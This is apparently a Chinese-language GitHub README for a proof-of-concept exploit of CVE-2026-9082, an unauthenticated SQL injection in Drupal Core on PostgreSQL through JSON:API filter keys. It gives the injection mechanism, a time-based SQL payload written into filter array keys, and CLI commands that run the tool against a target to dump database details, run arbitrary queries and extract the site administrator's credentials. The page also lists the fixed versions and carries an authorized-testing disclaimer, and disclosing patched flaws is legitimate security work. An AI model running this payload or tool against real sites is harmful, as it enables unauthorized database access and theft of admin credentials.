7h30th3r0n3/CVE-2026-9082-Drupal-PoC
GitHub: 7h30th3r0n3/CVE-2026-9082-Drupal-PoC
针对 Drupal Core PostgreSQL SQL 注入漏洞(CVE-2026-9082)的概念验证工具,通过 JSON:API filter 参数实现未认证的任意 SQL 执行。
Stars: 20 | Forks: 3
CVE-2026-9082 - Drupal Core PostgreSQL SQL 注入 PoC
概述
本仓库提供了一个针对 CVE-2026-9082 的合乎道德规范的漏洞概念验证,这是 Drupal Core 中的一个极高风险的 SQL 注入 漏洞,影响所有使用 PostgreSQL 作为后端且运行 Drupal 8.0 至 11.3.9 版本的网站。
该漏洞存在于 PostgreSQL Entity Query Condition 处理程序中,可被 匿名(未认证)用户通过自 Drupal 9 以来默认启用的 JSON:API 模块利用。
官方公告: SA-CORE-2026-004
漏洞概述
Drupal Core 包含一个数据库抽象 API,旨在清理查询并防止 SQL 注入。PostgreSQL 特定的 Entity Query
Condition 类(core/modules/pgsql/src/EntityQuery/Condition.php)中的一个缺陷
允许攻击者通过 JSON:API filter 参数传递的用户可控的数组键注入任意 SQL。
- CVE ID: CVE-2026-9082
- 公告: SA-CORE-2026-004
- 受影响软件: Drupal Core
- 受影响版本: 8.0.0 – 11.3.9(仅限 PostgreSQL 后端)
- 修复版本: 11.3.10, 11.2.12, 10.6.9, 10.5.10
- 严重程度: 极高风险 — Drupal 风险评分 20/25
- 认证要求: 无需认证(匿名)
- 影响: 数据窃取、权限提升、在某些配置下可导致 RCE
- 攻击向量: HTTP — JSON:API filter condition array keys
原理说明
-
PostgreSQL Condition 类中的
translateCondition()方法会遍历$condition['value']并使用 array keys 来构造 PDO 占位符名称:
$where_id = $where_prefix . $key; -
JSON:API 允许匿名用户通过 URL 参数提供带有
任意 array keys 的 filter 值:
filter[x][condition][value][MALICIOUS_KEY]=val -
PDO 具名占位符仅包含
[a-zA-Z0-9_]字符。当 key 包含)时,PDO 会停止解析 占位符名称 —— 其后的所有内容都将作为字面 SQL 被注入到查询中。 -
通过发送类似
1))/**/OR/**/(SELECT pg_sleep(5)) IS NOT NULL)--的 key, 攻击者可以闭合IN()子句并附加任意 SQL, 同时在同一请求中通过合法的 key1来满足对:prefix_1的绑定。
法律声明
本工具仅供授权安全测试、教育目的及道德研究使用。未经授权访问计算机系统是违法行为。
安装说明
git clone https://github.com/7h30th3r0n3/CVE-2026-9082-Drupal-PoC.git
cd CVE-2026-9082-Drupal-PoC
运行说明 (CLI)
# 检查目标是否存在漏洞
python3 CVE-2026-9082.py -u https://target.com --check
# 提取 PostgreSQL 版本
python3 CVE-2026-9082.py -u https://target.com --version
# 提取数据库信息(用户名 + 数据库名)
python3 CVE-2026-9082.py -u https://target.com --dbinfo
# 提取 Drupal 管理员凭证 (uid=1)
python3 CVE-2026-9082.py -u https://target.com --admin
# 列出数据库表
python3 CVE-2026-9082.py -u https://target.com --tables
# 自定义 SQL 查询提取
python3 CVE-2026-9082.py -u https://target.com --query "SELECT current_user"
# 使用基于布尔的提取方式(速度更快但可靠性较低)
python3 CVE-2026-9082.py -u https://target.com --version -m bool
# 交互模式(无参数)
作者
- PoC 开发者:7h30th3r0n3
- 漏洞发现者:michaelmaturi
标签:CISA项目, Drupal, PoC, Web安全, 文档结构分析, 暴力破解, 测试用例, 蓝队分析, 逆向工具